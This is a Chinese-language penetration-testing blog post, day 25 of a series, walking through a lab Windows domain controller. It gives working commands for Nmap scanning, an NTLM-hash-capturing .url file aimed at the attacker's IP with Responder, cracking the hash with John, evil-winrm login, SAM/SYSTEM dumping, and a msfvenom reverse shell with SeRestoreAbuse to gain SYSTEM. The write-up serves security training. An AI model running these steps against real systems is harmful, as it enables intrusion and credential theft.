iT邦幫忙

2025 iThome 鐵人賽

DAY 25
0

我一開始用 Nmap 全端口快速掃描並套用預設 script 與版本偵測:

sudo nmap -Pn -n $IP -sC -sV -p- --open

輸出顯示大量服務,這是一台 Domain Controller(由 53, 88, 389, 3268 等可辨識)。Nmap 範例輸出(節選):

53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap  Microsoft Windows Active Directory LDAP (Domain: vault.offsec0.)
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http Microsoft HTTPAPI httpd 2.0 (WinRM)
...

進行 UDP 掃描(只看前 100 個常見 UDP 端口):

sudo nmap -Pn -n $IP -sU --top-ports=100 --reason

把主機名稱加入 /etc/hosts 以便後續使用域名。

各端口筆記

53 (DNS):無顯著利用點。

88 (Kerberos):可嘗試列舉使用者,但屬 Hail Mary。

135 (RPC):常見服務。

389 / 3268 (LDAP):可能可搜尋 LDAP,但沒憑證時無法讀取。

139/445 (SMB):列舉後發現有名為 DocumentsShare 的 share。用 smbclient 能連上但內容空。嘗試上傳文件測試寫入權限後可成功上傳。

取得初始進入點(SMB + NTLM 捕獲)

在可寫的 SMB share 上放置一個惡意 .url(Internet Shortcut)檔,利用 Windows 會在呈現 icon 時去取用遠端路徑,觸發 NTLMv2 驗證向攻擊者主機回傳 hash。操作概要:

建立 Evil.url:

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<你的 tun0 IP>\%USERNAME%.icon
IconIndex=1

在自己機器上啟動 Responder:

sudo responder -I tun0 -wv

把 Evil.url 放到 SMB share。

監看 Responder 捕獲到的 NTLMv2 hash,將其存檔並用 John 攻破:

john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txt

破出後得到 anirudh:SecureHM。

後續登入(WinRM / RDP)

嘗試用 RDP 登入失敗,但 WinRM 成功:

crackmapexec winrm $IP -u anirudh -p SecureHM
evil-winrm -i $IP -u anirudh -p "SecureHM"

進入後檢查權限。該帳號擁有多個重要權限,例如 SeBackupPrivilege、SeRestorePrivilege、SeMachineAccountPrivilege。

機密擷取(SeBackupPrivilege)

利用 SeBackupPrivilege 將註冊表中的 SAM 與 SYSTEM 匯出,下載後用 impacket-secretsdump 取得本機帳號 hash:

reg save hklm\sam C:\users\anirudh\sam.hive
reg save hklm\system C:\users\anirudh\system.hive

下載後在攻擊者機器:

impacket-secretsdump -system system.hive -sam sam.hive LOCAL

嘗試傳遞 hash (pass-the-hash) 嘗試成為 Administrator,但在該機上失敗(或本地管理員被限制遠端登入)。

利用 SeRestorePrivilege 提權(成功路徑)

搜尋到 SeRestoreAbuse.exe(GitHub 上的工具),原理是利用還原/恢復權限覆寫系統檔或建立能以 SYSTEM 身份執行的惡意二進制。步驟概要:

用 msfvenom 生成反向 shell exe:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<你的 tun0 IP> LPORT=80 -f exe -o reverse.exe

上傳 reverse.exe 與 SeRestoreAbuse.exe 到目標。

在目標上以絕對路徑執行 SeRestoreAbuse.exe 指向 reverse.exe,觸發還原/覆寫來執行 payload。

在攻擊者端監聽,取得 SYSTEM 權限 shell。


上一篇
Day 24. Heist
系列文
滲透測試 30 天:從基礎到實戰25
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言